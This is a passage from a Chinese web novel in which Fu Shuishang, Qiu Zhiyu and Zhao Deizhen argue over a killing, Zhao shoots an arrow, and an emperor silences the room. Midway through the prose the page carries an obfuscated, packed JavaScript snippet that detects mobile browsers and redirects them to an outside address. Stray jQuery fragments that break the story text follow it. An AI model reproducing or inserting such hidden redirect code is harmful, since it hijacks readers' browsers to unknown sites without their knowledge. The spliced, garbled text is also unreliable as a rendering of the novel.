不就是了?”
傅水伤待要说话,丘执玉及时阻止了她。她似乎并不相信傅水伤的嘴,最终还是决定自己去解释,“那人是明镜府的通缉犯,水伤杀他理所应当。”
“你们说是通缉犯就是通缉犯了?你们随手指个人说他是通缉犯,就能当街杀人?”赵得真把傅水伤之前的话还给了她,又扫了丘执玉一眼,冷笑道,“哪里就有那么巧的事?她随手杀了个人正好就是通缉犯?丘执玉,不会是你为了救你手下的人,连无辜的死人都要污蔑吧?”
丘执玉微微摇头,“明镜府都有卷宗留存,你可以去看。水伤也并非随手杀人,她本就是冲着那人去的。”
她便将之前对着傅水伤说过的那一通猜测重复了一遍。
赵得真全然不信,“这种鬼话也能骗到你?丘执玉,你脑子不行就快点儿告老还乡吧!她当时是不是真的要杀我,是不是一开始就冲着那死人去,你觉得我看不出来?”
“若不是阿澈最后救我,死的早就是我了!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972294|161335||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阿澈?
傅水伤捕捉到这名字,心想那应该就是救下赵得真、将自己打晕、……实力远胜于自己的人。
她一时竟忘了自己的处境,险些要开口去问那阿澈究竟是谁。
那人带给她的威胁感,比这里所有人加起来都大。她还是不能不在意。
但傅水伤一抬头就立刻把将要问出口的话忘了个干净。她看见赵得真从背后拔出一支箭来,张弓拉弦,正对着她,似是愤怒至极,已决定不论后果,就在这里先下手为强,杀了傅水伤。
而丘执玉竟是向前一步挡在她面前,似要用手去抓那箭簇。
拉满的弯弓即将被释放,傅水伤简直慌张至极。以丘执玉那手无缚鸡之力的样子,她唯一的作用就是让两人被穿在同一只箭上,好教自己死的时候没那么孤单。
她急忙扯着丘执玉的腰带,将她拽到身后,自己顺势抬腿,踢在弓箭上。
那支箭被踢得一歪,射在了地上。傅水伤半跪在它前面,便顺手拔出来拿在手中,充做武器指向赵得真。
这支箭比预料的重了许多,竟是通体由金属制成。连箭羽都是结构精巧的黑铁构造,握在手中却又和真正的羽毛无异。
傅水伤正感惊奇,而赵得真已握住了箭簇。她微微施力要将自己的箭收回,还不忘口中嘲笑,“丘执玉,你养的狗倒是会护主……”
“赵得真!”丘执玉似乎是生气了,她又站在了傅水伤身边,好似要回击一番,但她说出口的却只是,“她不是狗。”
傅水伤:“……”
用得着你说。她本来就不是狗,你倒是回骂几句啊!
她有些难以言说的恼怒。此事无论如何都与丘执玉毫无关系,但赵得真句句都冲着丘执玉。而丘执玉——她好像连骂人都不会。
“她不是你是?”赵得真变本加厉,斜睨着丘执玉。但她一脸欠揍的神情没能持续,忽地皱眉往后倒去,一屁股摔在地上。
原本傅水伤和她各自握着同一支箭的头尾,皆用内力交锋争夺。方才那一刹那,傅水伤趁着她和丘执玉交谈而分神,直接松手卸了所有的力量,便让赵得真一时不查,失了平衡。
“嗤——”傅水伤站了起来,嘲笑出声。
“你他爹的找死?!”赵得真也跳起身来,握着箭就要上前。
砰!
忽地一只茶盏落在地上,摔得粉碎。皇帝手中还拿着它的杯盖。她看起来并没有什么怒气,就好似那茶盏只是不慎脱手。
她将杯盖放在茶托上,叮当一响,所有人便忽觉自己被莫名的东西压迫着,全都安静下来,不言不动。
“怎么不